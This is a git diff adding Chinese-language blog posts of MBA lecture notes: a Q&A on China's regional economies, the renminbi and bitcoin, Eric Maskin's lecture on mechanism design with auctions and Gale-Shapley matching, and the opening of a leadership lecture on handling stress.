+任博士：我国幅员辽阔，各个省份的开放度、文化各不相同。当我们去做市场调研时，会发现，从北往南走，越来越乐观，从南往北走，越来越悲观。你走到东北，基本就是计划经济的影子。你走到深圳，基本就是发达地区，深圳人均GDP接近3万美元，已经超越超过韩国，腾讯、恒大等大型企业总部都在深圳，原因在于深圳受改革开放红利，而东北则不然。所以，有什么样的制度，就一定有什么样的结果，振兴东北不是靠砸钱，而是要掀起一轮思想解放和制度的变革，才能使得东北真正脱胎换骨。谢谢！ + +问题2：任博士，我国的货币发行量达到了美国和欧洲的总量，但人民币的汇率在最近10年总体还是保持升值状态，请问原因是什么？支撑技术又是什么？ + +任博士：我国货币实际上是超发的，但是人民币还在升值，因为我国的经济发展势头良好，我国诞生很多优秀的企业，很多产业蓬勃兴起，提供了庞大的投资机会，这就是为什么我国人民愿意持有人民币，因为人民币的宏观资产回报率远远超过了美元、欧元、日元等。 + +虽然2015、2016年汇率改革后，人民币曾小幅度贬值，但是从过去十年来看，人民币总体呈升值趋势。如果再往后推10年、20年，如果中国这一轮经济改革成功，以每年增长6%左右速度增长，相比美国2%的增长速度，我国资产回报率将比美国高。所以，我认为，人民币在长期依旧会升值。谢谢！ + +问题3：任博士您好，请问您了解区块链的投资么？当前状态是政府先让企业做相关业务，请问您有没有关于政府何时会考虑成立数字货币交易所的信息？谢谢。 + +任博士：区块链作为一种信用的创造机制，兼具机遇与挑战。我觉得区块链目前处于理念的层面，而在应用的场景上还有很多的变革。 + +数字货币，例如比特币，是对主权信用的一种挑战。所以，在主权国家，我觉得机遇有待挖掘。当然，比特币在某些领域可能是创新，像政府如果是没有信用的经济体，比特币具有约束作用。但是对于主流国家，比特币很难在短期内对主流货币体系造成冲击，也很难获得认可，我觉得这就是现在比特币面临最重要的问题。所以，你会发现所有关于比特币，更多的就是投机性的基金。比特币的特点是：全球比特币的交易由美国创造，而70%的交易却发生在我国，国人赌的精神太强。不过我坚信我国新经济在未来将会获得重大发展，即使不一定是在数字货币领域。 + +最后，我给大家推荐一些书目，供大家闲暇之余阅读。 + +![](/uploads/2019/06/05-46.png) \ No newline at end of file diff --git a/_posts/2019-06-05-403-mba0504.md b/_posts/2019-06-05-403-mba0504.md new file mode 100644 index 0000000..1c658d8 --- /dev/null +++ b/_posts/2019-06-05-403-mba0504.md @@ -0,0 +1,246 @@ +--- +layout: post +title: 【经济学模块】 第4节 机制设计的原理及应用 +pid: 403 +tags: [mba] +--- + +一、 引言 + +机制设计理论作为近些年微观经济学最活跃的研究领域，主要根据现行经济制度的目标设计可行机制。在过去半个多世纪以来，诞生了二十多位诺贝尔经济学奖得主。 + +在本节课中，2007年诺贝尔经济学奖得主，埃里克·马斯金教授将通过四个案例为我们详细介绍机制设计理论的实际应用价值，分别是： + +1. 如何让所有人都拿到最喜欢的一块蛋糕？ + +2. 政府如何询问各公司对许可证的估价？ + +3. 能源局如何找到民众最偏好的能源？ + +4. 如何运用“盖尔-沙普利”算法稳定匹配员工和公司？ + +二、 机制设计理论定义 + +1. 经济学理论“工程部分” + +机制设计理论涉及到经济学理论“工程部分”。一般来说，当经济学家进行研究的时候，首先会观察经济制度，然后理解并解释现有的经济制度将会产生什么样的结果，这就是经济学中的正向或者预测性的部分，85%-90%经济学家所做的研究，都是属于这类经济学的研究。
+ +2. 机制设计理论——“反向而行” + +经济学另外10%-15%的研究，是将传统研究“反向而行”。在机制设计里面，我们先从结果开始往回推，首先确认目标，然后明确目标需要的制度，并设计、建立、推行这种经济制度。 + +我们首先会问：我们推行经济制度的目标是什么？我们需要获得什么结果？有没有一些制度可以被设计出来，帮助我们实现这些目标？如果有，这些机制应该是以怎样的形式呢？ + +三、机制设计理论假设案例 + +案例1：如何让所有人都拿到最喜欢的一块蛋糕？ + +假设你有一块蛋糕，你想把这个蛋糕分别给爱丽斯、鲍伯，你的目标是把蛋糕分配之后，每一个孩子对自己拿到的那一份蛋糕都很满意。最公平的分配方法就是将蛋糕平均分成两份，给每个孩子一份。但是，问题在于每个孩子看事情的角度恐怕永远不一样，他会认为你蛋糕切的不公平，鲍勃可能会认为爱丽丝的那块蛋糕更大。 + +问题的根源在于你没有足够的信息可供你实现理想中公平的切分，无法从孩子的视角看问题，又何谈实现他们眼中真正的公平。因为，公平的分割取决于这些孩子自己心里是不是认为自己拿到了正好一半的蛋糕。而机制设计要解决的问题就是：你能否在缺失信息的情况下，设计出一个机制来实现公平分配？ + +于是，分配蛋糕的解决方法是：让鲍勃来切蛋糕，爱丽斯来选蛋糕。这就叫切分和选择，一个孩子切，一个孩子选。我认为切分选择法能够解决公平分割的问题，从鲍伯的角度看，如果鲍勃将蛋糕切的一大一小，爱丽丝就会拿走较大的一块，而鲍勃获得较小的一块。所以，鲍勃的最佳选择是将蛋糕切的一样大，这样即使爱丽丝先拿走了她喜欢的那一块，鲍勃也会满意。由此，爱丽斯和鲍勃皆大欢喜。所以，简单的机制设计可以让分配更加公平，即每个孩子都拿到自己最喜欢的那块蛋糕。 + +![](/uploads/2019/06/05-47.png) + +这个案例说明，机制设计者无法提前知道哪种机制可以呈现最佳效果，他并不了解参与者的信息，会错过一些非常重要的信息，正如切蛋糕的人并不知道爱丽斯跟鲍伯各自的倾向是什么。所以，你一定要通过一个机制来帮助你，做出一个最公平的选择。当然了，机制还有一些复杂性，就是参与者并不在意机制设计人的目的及目标是什么，就像爱丽丝和鲍勃并不在意是否公平分配，他们希望得到自己喜欢的那一块蛋糕。所以，我们要加入一些激励的机制来匹配机制设计。 + +提问1：教授您好，请问您定义的公平分配就是将蛋糕平均分成两份么？ + +马斯金教授：我定义的公平是每个孩子都愿意要他们自己所分到的那一块蛋糕而不是别人分到的那块。如果你改变这个定义，你就得改变机制。但是，机制设计的重点之一就是：作为机制设计者，你需要有一种方案来实施你制定的每一个目标。 + +案例2：政府如何询问各公司对许可证的估价？ + +二十年以前，全世界有很多国家的政府都意识到：由于利用率低下，政府没有理由继续控制无线电波频谱，而应该将使用权开放给更多私人公司，这样电信公司就可以将它用在手机、卫星电视等技术上。政府出售无线电频段波段的传输权给几个电信公司，叫做使用许可证。为了创造出更大的社会价值，政府的希望将许可证出售给最重视它的公司。从经济角度，我们叫做有效的分配，但问题是信息的缺失导致政府无从得知哪家公司最重视这张许可证，所以政府需要一个设计一个机制来解决这个问题。 + +最简单的方法是政府直接去询问各个公司：“你们有多重视这张许可证？”然后回答最重视的那家公司得到许可证。但是仔细想来，这个方法并不实用，因为电信公司为了获得许可证，可能会口头夸大对许可证的重视程度。如果所有的公司都口头夸大这个重视程度，政府就不可能真正了解哪家公司说的是实话，这样也就无法保证许可证交到最重视它的公司。所以，这个机制是无效的。政府可以让每家公司对许可证投标，然后政府将许可证奖给出价最高的公司。由此，公司就不会夸大其价值了，例如公司认为许可证价值1000万美元，就不会出价1200万美元，因为如果出了1200万就得照价支付。 + +但是，这个机制同样不能得到有效的结果，因为电信公司会出更少的钱。假设许可证对企业价值1000万美元，企业出价$1000万竞标，如果竞标成功就需要支付1000万，那么企业净利润为0。所以，企业出价会低于$1000万，如$800万，但这样企业中标概率可能会降低，但如果企业中标，就会得到200万美元净利润。因此，所有电信公司都会压低价格去缩小许可证价值，这样政府就无法保证中标的公司是真正重视许可证的公司。 + +![](/uploads/2019/06/05-48.png) + +所以，两种机制都存在问题。第一种机制，电信公司会夸大其重视程度。第二种机制，电信公司会低估许可证价值。那么，到底有没有一种机制可以让电信公司出价和许可证价值相等呢？解决方案是由1996年诺贝尔经济学获奖者威廉·维克瑞提出，即让政府让每个公司都竞标出价，出价最高者获得许可证，但是中标者并不需要支付自己所出的价格，而是支付第二高的竞标价格。 + +例如，有3个企业竞标，出价分别是$1000万、$800万、$500万。那么，出价1000万的企业中标，但是他只需要花800万就可以获得这个许可证。于是，公司失去了哄抬价格动机，因为不管你出价$900万还是$1000万，这不会减少你需要支付的钱数，你都需要支付$800万。如果你压低价格，例如许可证对你价值$1000万，你出价$700万，而别的公司出价$800你就失去了中标的机会。你因为压低价格肯定会后悔，会觉得出价许可证的真实价格$1000万去中标。 + +![](/uploads/2019/06/05-49.png) + +事实上，维克瑞二十多年前提出的这个解决方法在实践上非常重要，它是解决很多公司分配问题的基本方法。 + +案例3：能源局如何找到民众最偏好的能源？ + +假设一个社会团体的目标是找到合适的能源。这个团体只有两个能源消费者，爱丽丝和鲍勃。同样，还有一个机制设计者，就是能源当局，其工作目标就是从四种可供选择的能源——燃气、石油、核电、煤炭中，选择一种爱丽丝和鲍勃都喜欢的资源。问题在于能源当局不知道爱丽丝和鲍伯究竟想要什么。 + +假设有两种可能性： + +状态1：爱丽丝和鲍勃最关心当前能源的消费，而不关注未来能源的消耗。 + +状态2：爱丽斯和鲍伯最关心未来能源的消耗，而不关注当前能源的消耗。 + +而能源当局并不清楚这两种状态，哪一种是实际的状态。 + +假设爱丽丝最关心的是能源使用的方便性。那么，如果她看中当前，她会选择使用更方便的燃气，其次是石油、煤炭，最后是核电——由于其使用复杂。但是她着眼未来，她会首选选择核电，因为核电的技术在未来将会有巨大的突破，之后是燃气、煤炭，最后是石油。所以，爱丽斯的偏好取决于她更关注当下，还是更关注未来。 + +鲍伯也如此，假设鲍伯最关心的是安全性。那么，如果他看中当前，他认为会选择使用最安全的核电，其次是石油、煤炭，最后是燃气——由于其可能会爆炸。但是他着眼未来，他会首先选择石油，最后选择核电，因为核电会造成长期的核废料处置的问题，对社会未来发展造成威胁。 + +![](/uploads/2019/06/05-50.png) + +综上，假设消费者处于状态1，即着眼当前、轻视未来。那么，爱丽丝最看重燃气、最不看重核能；鲍勃最看重核能、最不看重燃气；假设爱丽丝着眼未来，那么她最看重核能，最不看重石油。假设消费者处于状态2，即着眼未来、轻视当前。那么，爱丽丝最看重核能，最不看重石油；鲍勃最看重石油，最不看重核能。 + +这个时候，如果能源当局想要选择一种能源是爱丽斯和鲍伯都可以接受的，即对爱丽丝和鲍勃偏好进行折中。在状态1的情况下，能源当局会选择石油作为折中。首先，燃气不是很好的折衷。虽然爱丽丝特别喜欢燃气，但是鲍伯却最不喜欢燃气。其次，核电也不是一个很好的折衷，虽然鲍伯特别喜欢核电，但是爱丽丝最不喜欢核电。第三，煤炭也不是一个很好的折衷，因为爱丽丝和鲍伯都认为石油比煤炭好，说明石油是一个最正确的折衷。 + +在状态2的情况下，能源当局会选择燃气作为折中。和状态1分析相似，核电不是一个很好的折衷因为爱丽丝最喜欢核电；鲍伯最喜欢石油，而爱丽斯却憎恨石油；爱丽丝和鲍勃都认为煤炭比燃气好，所以，燃气是一个很好的折衷。 + +![](/uploads/2019/06/05-51.png) + +但是由于能源当局并不知道爱丽丝和鲍勃的偏好，最简单的方法当然就是去询问爱丽斯和鲍伯。但是此方法不可行，因为在状态1中和状态2中，爱丽丝都很喜欢燃气，所以她会让当局相信——状态2是真实的情况，即使真实情况是状态1。因为在状态2中，当局会选择燃气，爱丽丝最爱；而状态1中，当局会选择石油，爱丽丝在状态2中最恨的一种。综上，爱丽丝总会让当局相信，状态1才是真实情况。同理可得鲍勃——会让当局相信状态1是真实情况，因为状态1和状态2中，鲍勃都很偏好石油。于是，爱丽丝和鲍勃的偏好天壤之别，导致当局无从选择。所以，当局需要用博弈矩阵解决此问题。 + +假设爱丽斯和鲍伯，爱丽丝可以选择第一行或第二行，鲍勃可以选择左边一栏或右边一栏。我们的机制是——能源公司选择爱丽丝和鲍勃选择的交叉点，比如爱丽丝选择第二行，鲍勃选择右边这一列，那么交叉点就是燃气；如果爱丽丝选择第二行，鲍勃选择左边这一列，那么交叉点就是核能。 + +在状态1中，如果是一个真实的情况，那么爱丽丝就会选择第一行、鲍伯就会选择左边这一列，那么，他们选择的交叉点就是石油。假设爱丽丝预测鲍勃会选择左边一栏，那么这时爱丽丝可能会选下面一行，交叉点就会变为核能。但是这种情况不常发生，因为如果爱丽丝选择下面一行，就会得到她最不喜欢的核能。所以，即使爱丽丝预测鲍勃会选择左边一栏，她也会选择她更喜欢的石油。 + +此外，不管鲍勃预测爱丽丝会选择哪边，左边对于他都是最好的选择。因为假设鲍勃预测爱丽丝会选择第一行，他也会选择左边一栏。因为他选择左边，他就会得到石油；选择右边，他就会得到煤炭。但是在这种状态中，相比于煤炭，鲍勃更喜欢石油。假设鲍勃预测爱丽丝会选择下面一栏，如果他选择左边，得到核能；选择右边，得到燃气。因此，鲍勃会选择左边，因为燃气是他最不喜欢的选择。 + +![](/uploads/2019/06/05-52.png) + +以上就是博弈论，在约翰·纳什的均衡理论中，他预测爱丽丝会选择第一行、鲍伯选择左边一列。纳什均衡可以很好地预测未来，因为如果参与双方使用了这个理论，那么双方都不会有动机去做一些额外的事情，即如果爱丽丝预测鲍勃会选左边，爱丽丝就会想选第一行；如果鲍勃预测爱丽丝会选第一行，鲍勃就会选择左列。 + +在状态2中，很明显爱丽丝会选择第二行，而鲍伯会选择右边这一列。二者交叉点，就是燃气。假设爱丽丝预测鲍勃会选择右边一列，那么在这种情况下，爱丽丝最佳选择是第二行，因为她对燃气的偏好比煤炭更大。综上，在状态2中，燃气是爱丽丝和鲍勃是最佳选择。 + +![](/uploads/2019/06/05-53.png) + +提问2：教授您好，请问是不是表格中的顺序非常重要？谢谢。 + +马斯金教授：是的，石油、煤炭、核能、燃气的排序很重要。机械设计者首先需要选择这4个核心内容，你并不需要知道爱丽丝和鲍伯的倾向是什么。因为不管倾向是着眼当前、还是面向未来，该机制都可运行。 + +追问：所以，这个顺序是由状态1和状态2的结果决定的么？ + +马斯金教授：这个表格是由能源署选择的，然后鲍伯和爱丽丝再选择他们希望哪个策略。 + +提问3：教授您好，我认为这个机制的似乎建立在爱丽斯和鲍伯互相要知道彼此的喜好顺序的基础上。那么，如果这两个人互相不了解彼此喜好的顺序、在不同状态下，这个机制是否就不成立了？ + +马斯金教授：你说的对，我们的假设这个机械设计的人不知道鲍伯和爱丽丝的倾向和喜好。但是，爱丽丝和鲍勃互相知道对方的倾向和喜好。我们可以把这个例子变得复杂一点。例如，爱丽斯只知道自己的倾向，不知道鲍伯的倾向。那样，就会有四个状态，就不是两个状态。我刚才给大家看的是两个状态下的选择。 + +提问4：教授您好，请问这个案例和囚徒困境有什么区别？ + +马斯金教授：这个案例和囚徒困境一样，都是两个角色间的博弈。但是区别在于：在囚徒困境里，两个角色的最优策略并不取决于对方的策略是什么，而在这个博弈里面，则不然。在状态1中，爱丽斯所做的决策取决于鲍伯的决策，如果鲍伯选左边，那么爱丽斯就要选第一行，这样的话，爱丽丝能够得到石油而不是核能。同理，如果鲍伯要是选右边的话，爱丽斯就要选择第二行，她就会得到更喜欢的燃气。 + +提问5：教授您好，在能源局把这个表格弄出来之后，会明确提出爱丽丝和鲍勃不能同时选择石油和燃气，核能和煤炭。所以，能源局是能够左右爱丽丝和鲍伯选择的？ + +马斯金教授：说的完全正确，能源局一定要对爱丽丝和鲍伯施加很强的影响力，实际上有四种不同的能源选择，但爱丽丝和鲍勃只能四选二。所以，能源局选择建立机制，爱丽斯和鲍伯需要按照这个机制来选择。 + +提问6：教授您好，第二个状态下，如果鲍伯是一个比较激进、是一个完美主义者，他选择要么就要石油，没有的话就选择他最讨厌的核能。那么，如果能源局要把机制做成的话，是否需要研究选民的性格？ + +马斯金教授：能源局必须要知道鲍伯及爱丽丝可能的偏好，但是它不需要知道实际的偏好及状态是什么。在这个简单的例子中，只有状态1和状态2两种可能性。如果我们将案例复杂化，例如爱丽斯和鲍勃都有24种可能的偏好，那样分析就会复杂，但是也是能够用同样的机制来进行分析。 + +提问7：教授您好，请问招标是否区分公开拍卖或非公开拍卖，公共领域的拍卖或古董和字画艺术品的拍卖？ + +马斯金教授：这其实是两个问题。第一，就公开招标或非公开招标而言，不管其他买家出价如何，你最好的策略就是按照你所认为的许可证真实价格出价。 + +第二，我们是否需要根据实际情况建立不同机制？答案取决于机制设计者的目标。就像案例1中，假设政府的目标是效率，那么就需要确保最重视这个许可证的出标人中标。但是，一些时候机制设计者的目标是赚更多钱。如果文物拍卖者想获得更多现金的话，那么，他就不会用我刚才讲的那个机制了，会换一个。但是，实际上，我刚刚将的机制，不仅可以提高效率，也可以为机制设计者提高收益。虽然中标者只能支付第二高出价，不是最高出价，但是在这个机制中，出标人出的标很高，价格就越高，机制设计者就会增加收益。而如果他们必须要支付最高出标价的话，他们就会压低出价，就会影响机制设计者收益。所以，如果机制设计者目的是将拍卖收益最大化，他们就会选择维克瑞这种机制。 + +提问8：教授您好，我发现纳什均衡的表格应该是经过一定特殊设计的，比如石油和燃气是无法同时选择的。请问，在只有这4种选项或者在更多的情况下，如何得到纳什均衡表格？ + +马斯金教授：这个问题很好，我给大家讲述了机制是怎么用的而没有讲机制是如何设计的，稍后的课程中我会解答这个问题。 + +提问9：教授您好，这个案例是不是可以理解为除了爱丽丝和鲍伯的话，还有潜在能源署的需求，而能源局需要通过这种方式来达到能源局和爱丽丝、鲍伯之间的共识？ + +马斯金教授：我们在做机制设计的时候，首先要明确你的目标是什么，这样你才能通过机制设计达成目标。在这个例子当中，我们假设能源署的目标是希望能够达到爱丽丝和鲍伯的折衷。如果我们改变了机制设计者的目标，那么相应的机制也得改变。 + +提问10：教授您好，因为刚才您讲到状态1的时候，爱丽丝和鲍勃会同时选择石油，状态2会同时选择燃气，这是不是意味着能源局的目标就是让他们选择石油或者燃气而不是煤炭或者核能？ + +马斯金教授：回答完全正确。即使能源局知道爱丽丝和鲍勃最终会选择石油和燃气，煤炭核能依然扮演着重要角色。没有了煤炭和核能，我们就无法解决问题。不管是状态1还是状态2，爱丽丝都是更喜欢燃气多过石油，鲍勃都是更喜欢石油多过燃气，而让他们在石油和燃气中做出选择的唯一方法就是在表格中增加煤炭及核能。 + +有一定需要明确，不管是状态1还是状态2，爱丽丝总是喜欢燃气多过石油。如果我们仅仅是在石油和燃气之间选的话，也许煤炭和核能这两个选项就不需要。所以，没有这两个选项的话，爱丽丝就没法区分她到底喜欢状态1还是状态2。鲍勃同理。 + +案例4：如何运用“盖尔-沙普利”算法稳定匹配员工和公司？ + +假设有很多公司从C1,C2,…,CN，同时还有很多潜在的员工E1,E2,…,EN。每一个公司都想雇佣其中一个员工，每一个员工都有自己偏好去的一家公司。假设现在有三个员工、三家公司。每个员工对三家公司的喜好共有六种排序方式，例如C2，C3，C1或C3，C1，C2。同理，每家公司对三个候选人也有六种排序方式，例如E1，E3，E2或E2，E1，E3。 + +假设有一种机制，可以将员工匹配到最合适的公司。例如将员工1匹配到公司2，员工2匹配到公司3，员工3匹配到公司1或将员工1匹配到公司1，将员工2匹配到公司3，将员工3匹配到公司2。除此以外，还有其他的分配方式。 + +![](/uploads/2019/06/05-54.png) + +在本案例中，我们机制设计目标是实现员工和公司最佳分配。那么，如何定义最佳分配？第一，分配必须稳定。在本案例中，员工1被分配到了公司2，员工2被分配到了公司2，员工3被分配到了公司1。假设员工1更喜欢3号公司而不是2号公司，而公司3实际上更喜欢1号员工而不是2号员工。所以，员工1和公司3实际上更喜欢和彼此合作，而不是和已经被分配到的合作。稳定的分配是被分配到的员工和公司都喜欢和彼此合作、不愿分开。 + +那么，是否存在一个稳定的分配，即使我们不对员工和公司的偏好设限？盖尔-沙普利机制的创立解答了这个问题，这个机制不仅可以匹配员工和公司，还可以匹配学生与学校，医生和医院等不同领域。 + +第一轮，让每一个员工来提名他最喜欢的公司，然后由每一个被提名的公司选择它最喜欢的员工，该公司必须在提名它的员工中选择，拒绝掉其他候选人。 + +第二轮，在第一轮中被拒绝的员工，再提名一个除第一家公司以外他最喜欢的公司，然后让该公司继续选出自己最爱的员工。如果我是一家公司，根据员工面试表现，现在有两种选择。第一，保留第一轮暂时接受的员工，拒绝新提名的员工。第二，接受新提名给我的员工，拒绝第一轮暂时接受的员工。以此类推，直到每一个员工都能够被某一个公司临时接受。在这个过程完结后，所有被暂时录取的员工变为被真正雇佣。 + +![](/uploads/2019/06/05-55.png) + +接下来，让我们用案例解析盖尔-沙普利机制。案例中，一共有三名员工E1、E2、E3，三家公司C1、C2、C3。员工和公司偏好如下图所示： + +![](/uploads/2019/06/05-56.png) + +下面让我们来运行盖尔-沙普利机制： + +第一轮，E1提名C1，E2提名C1，E3提名C3。C1临时接受E2，拒绝E1。因为只有E3提名C3，所以C3只能暂时接受他。此时，E1没有被分配。 + +第二轮，E1提名C3，C3暂时接受E1而拒绝E3。此时，E3没有被分配。 + +第三轮，E3提名C2。作为唯一选择，C2暂时接受E3。此时，所有员工和公司完成匹配，暂时匹配变为永久雇佣。 + +此时，E1匹配C3，E2匹配C1，E3匹配C2。 + +该机制的优点是能够保证稳定配对。假设该配对结果是不稳定的。例如，Ei更喜欢Cj而不是他被分配的Ck ，Cj更喜欢Ei而不是分配给他的员工Em。如果Ei更喜欢Cj而不是Ck ，所以他在机制的某一轮被Cj拒绝了。这种情况不可能发生，因为Cj更喜欢Ei而不是Em，所以永远不会暂时录取Em，而不选择Ei。一家公司永远会选择最喜欢、最优秀的员工，所以Cj在可以选择Ei的情况下，绝对不会选择Em。所以这个机制必须最终得到一个稳定的、最佳的配对。 + +四、机制设计理论课后讨论 + +本节课，我们运用一些机制来解决蛋糕分配、许可证分配、能源分配、员工配对存在的问题。但是，我并没有告诉大家我是如何发现这些机制的，大家可以参考我在1977年发表的一篇论文《纳什均衡和福利最优化》来找到答案，正是由于这篇论文，我获得了2007年诺贝尔经济学奖。 + +下载链接：https://wenku.baidu.com/view/2e9d17d528ea81c758f5781f.html + +机制设计在经济学中发挥着举足轻重的作用，如今总会有一些新的应用诞生，它们需要一些机制设计来解决存在的问题。但是，现在还有两个非常重要且棘手的问题有待解决，也许在未来，你们当中一些人将找到解决方案。 + +1. 如何制定通用的《温室气体排放条约》？ + +众所周知，由于人类焚烧石油，煤炭等化石燃料时会产生大量的二氧化碳，即温室效应，导致全球气候变暖。所以，我们的共同目标是减少二氧化碳排放量，但问题是不同国家间存在利益冲突。因为减少二氧化碳排放量对一个国家意味着关闭旧工厂、引用新技术、对污染较大的公司征收污染税，而这些费用异常高昂，所以每一个国家都寄希望于其他国家而不是自己来减少二氧化碳排放量。 + +所以，我们需要通过一个国际性会议，确立《国际温室气体排放条约》来解决这个问题。在该条约中，每一个国家都必须承诺减少一定排放量以换取其他国家也做出相应承诺。那么，我们该如何设计一个既能有效地保护环境，又能激励每个国家积极参与的条约呢？这个问题有待解决，但是我相信在未来某一天，会有这样一个机制设计指点迷津。 + +2. 如何制定防范金融危机的政策？ + +也许我们还对2008年全球性金融危机历历在目，那是自1930年以来最严重的一次，导致经济增长速度大幅放缓，我们至今仍然深受其害。所以，阻止未来再发生类似危机势在必行。但是，这里面有一些利益冲突的问题。 + +2008年金融危机发生的原因是银行发放有风险的贷款，这些贷款不仅有银行自己的钱，也有像其他银行借来的钱，这种高风险的贷款产品，我们称为杠杆。一方面，杠杆是有益的，它使得银行可以发放更多的贷款，使项目可以获得更多融资支持；另一方面，杠杆是有风险的，如果这些项目失败的话，将会使贷款的银行与向贷款银行借款的银行血本无归。 + +所以，我们需要设计一个监管机制，即编制银行的杠杆率来明确银行放贷的限额，同时设置放贷上限。诚然，虽然我们现在对一家银行应该有多少杠杆数量还不得而知，但是我相信我们会慢慢地通过机制设计来找到最正确的数字，也许这个机制正是由在座的各位参与设计。 + +提问11：教授您好，请问您有没有关于如何分配项目奖金及年终奖的推荐书目？谢谢。 + +马斯金教授：我建议你读两篇论文，而不是书。首先，我发表于1977年的论文，它相对来说复杂一点。我推荐你在诺贝尔官网找一下我在2008年的讲座来入门。 + +讲座链接： + +https://www.nobelprize.org/mediaplayer/index.php?id=789 + +讲座PPT下载地址： + +https://www.nobelprize.org/nobel_prizes/economic-sciences/laureates/2007/maskin-slides.pdf + +讲座文献下载地址： + +https://www.nobelprize.org/nobel_prizes/economic-sciences/laureates/2007/maskin_lecture.pdf + +其次，我推荐2016年诺贝尔经济学获奖者本特·霍姆斯特罗姆的讲座，他讲到公司如何在企业管理中运用激励理论。 + +讲座链接： + +https://www.nobelprize.org/mediaplayer/index.php?id=2687 + +讲座PPT下载地址： + +https://www.nobelprize.org/nobel_prizes/economic-sciences/laureates/2016/holmstrom-lecture-slides.pdf + +讲座文献下载地址： + +https://www.nobelprize.org/nobel_prizes/economic-sciences/laureates/2016/holmstrom-lecture.pdf + +提问12：教授您好，如果三家公司同时竞标，但是他们私下约定把价格恶性压低，请问政府如何运用机制设计解决这个问题，如何让真正想拿到这个项目的公司中标？ + +马斯金教授：对于很多公司来说，即使他们私下约定了一个300万或是500万的低价，但是他们未必会遵守自己的诺言，由于政府所有标书都是保密的，所以你也无从查证实际结果。这意味着，如果你加入到了机制当中，就会打破这些公司的密谋。 + +本讲课程到此结束，我非常享受今天的课程，因为你们提出很多妙趣横生的问题，让我深受启发，谢谢各位！ \ No newline at end of file diff --git a/_posts/2019-06-05-404-mba0202.md b/_posts/2019-06-05-404-mba0202.md new file mode 100644 index 0000000..94dda1e --- /dev/null +++ b/_posts/2019-06-05-404-mba0202.md @@ -0,0 +1,468 @@ +--- +layout: post +title: 【领导力模块】 第2节 如何应对压力和保持专注 +pid: 404 +tags: [mba] +--- + +引言 + +上一讲中，泰勒·本-沙哈尔博士讲授了为什么要学习正向领导力、学习正向领导力的方法和如何找到最佳领导区等内容。在你能够专注自己的优势，并找到最佳领导区之后，正向领导力的基础已经算是基本打牢了。 + +本节课是《正向领导》的第二讲，本-沙哈尔博士将引领我们继续在提升领导力的道路上进阶，主要回答两个领导力提升中的关键问题—— + +领导者该如何应对压力？ + +工作中，永远泰山压顶、疲惫不堪； + +生活中，照顾上下，7×24小时也不够用。 + +领导者该如何时刻保持巅峰状态？ + +每个决策都可能是生死抉择，必须200%全神贯注； + +谁都可以错，就你不能错，必须一直保持专注。 + +本讲内容结构如下： + +一．如何应对压力 + +1.简化 + +2.休息 + +3.重新定义压力 + +二．如何保持专注 + +1.心有猛虎，细嗅蔷薇 + +2.正念冥想，活在当下 + +一、如何应对压力 + +正向领导力模型第二个要素是——健康（Health），但实际上谈论的是对健康影响巨大的压力问题。 + +放眼世界，压力已经日益成为欧美及中国社会生活和文化中的一个非常严重的问题。新闻中屡屡出现因压力过大导致的自杀事件报道。这一切的原因就在于我们日渐繁忙的工作，我们需要同时面对太多的工作和家庭的事情，我们必须时刻在线，没有停歇。 + +可以说，能不能应对好压力，已经成为了衡量一个领导者是否合格的基本指标。想要提升领导力，就必须提升自己应对压力的能力。 + +我在这里会介绍最优秀的领导者应对压力的三个方法，分别是—— + +1.简化 + +2.休息 + +3.重新定义压力 + +我希望今天的课上完之后，你们在座的各位都可以更加平静、淡定地去应对来自工作和生活中越来越大的压力。 + +1．简化 + +应对压力的第一个方法是简化，让工作和生活变得更加简单。简化分为三种方法，分别是少做，而不是多做，减少同时做很多事的情况，玩耍。 + +少做，而不是多做——活动的数量影响体验的质量 + +丹尼尔·卡尔曼，著名心理学家，2002年诺贝尔经济学奖获奖者。他做了一个研究，内容是人同时做多件事情会有什么影响?他以欧洲和美国的女性为研究样本，通过一张图反映了欧美职场女性一天中的情绪变化，包括她在工作中与同事相处、在家庭中与老公及孩子相处、在生活中与最好的朋友相处、在吃午饭或者购物时的心态。 + +这张图显示，当这些职场女性与她们的孩子在一起时，情绪最低落。也就是说，她们不是很享受与孩子在一起的时光。这简直是违背常识，这些女性怎么会不喜欢自己的小孩呢？ + +![](/uploads/2019/06/05-57.png) + +接着，卡尔曼通过更加深入地探究发现，并不是这些女性不喜欢小孩。只是当这些女性和小孩在一起时，往往是人在、心不在。她们虽然人在小孩身边，但是却同时在和朋友打电话，或者处理工作，或者再思考之前做了什么事情，或者在计划之后又要做什么事情。 + +如果她们能够在一个时间段内只是做一件事，那么，每件事她们都能享受其中，心情愉悦。但是，如果将所有的事项都叠加在一起做时，她们情绪就会低落、烦躁。这个研究结果说明活动的数量会影响体验的质量 。 + +假设你单独听你最爱的英文歌，例如惠特尼·休斯顿的《我会永远爱你》，你会很享受音乐带给你的乐趣，你会给这首歌打10分。你再单独听你第二喜欢的音乐，贝多芬的第五交响曲，你也很享受，你会给这个曲子打9.5分。但是，如果你同时听惠特尼•休斯顿和贝多芬，你会打19.5分吗？肯定不会。你只会感到那是噪音，你体会不到歌曲的优美，这便是现代生活的缩影。 + +活动的数量会影响体验的质量。对那些成功的领导者们来说，他们的经验就是简化工作和生活，减少同时做多件事情的情况。 + +减少同时做多件事的情况——注意力分散理论 + +注意力分散理论指的是——当职场人在同一时间做两个任务的时候，在切换时就会消耗大量认知资源和经历，导致工作时间长、工作效率低下。但是，如果同一时间全心全意投入一项任务、做完在做另一项时，就会降低工作时长、提高工作效率。 + +![](/uploads/2019/06/05-58.png) + +在八九十年代，年轻人不集中注意力的比率仅为8%；而当今，这个数字却接近100%，那是因为——当年轻人和朋友相处时，总是心猿意马，不停地发短信、刷微信。根据伦敦大学精神病专家的研究结果，如果你一边开着电子邮件、一边工作的时候，你的智商将会下降10个点。 + +10个点的智商你们可能没概念，我告诉你这个数字意味着什么。10个点的智商损失相当于你连续36个小时没有睡觉时的状态。换句话说，当你同时做很多事情的时候，智商就会下降。 + +少做，而不是多做——稀缺心态理论 + +稀缺心态理论指的是——当你同时做多件事情时，你就会权衡纠结哪件事情先做还是后做，就会使心态带宽下降、智力下降，导致工作决策失误。这个时候，员工就不得不做很多事情补救，于是恶性循环，延长工作时间、降低工作效率。 + +![](/uploads/2019/06/05-59.png) + +相反，如果你在一天中，哪怕只有一个小时是只专注于做一件事，那也能提高你的创造力与工作效率，可以提高你的工作满意度。从组织角度，哈佛大学研究人员发现，如果管理者能够一天抽出1-2小时全身心地投入做一些简单的事情，就会提高你的创造力、工作效率、工作满意度，让你变得更加幸福。 + +当然，我并非让他们永远不要同时做多件事，我只是让他们一天找一段时间去心无旁骛地做一件事。 + 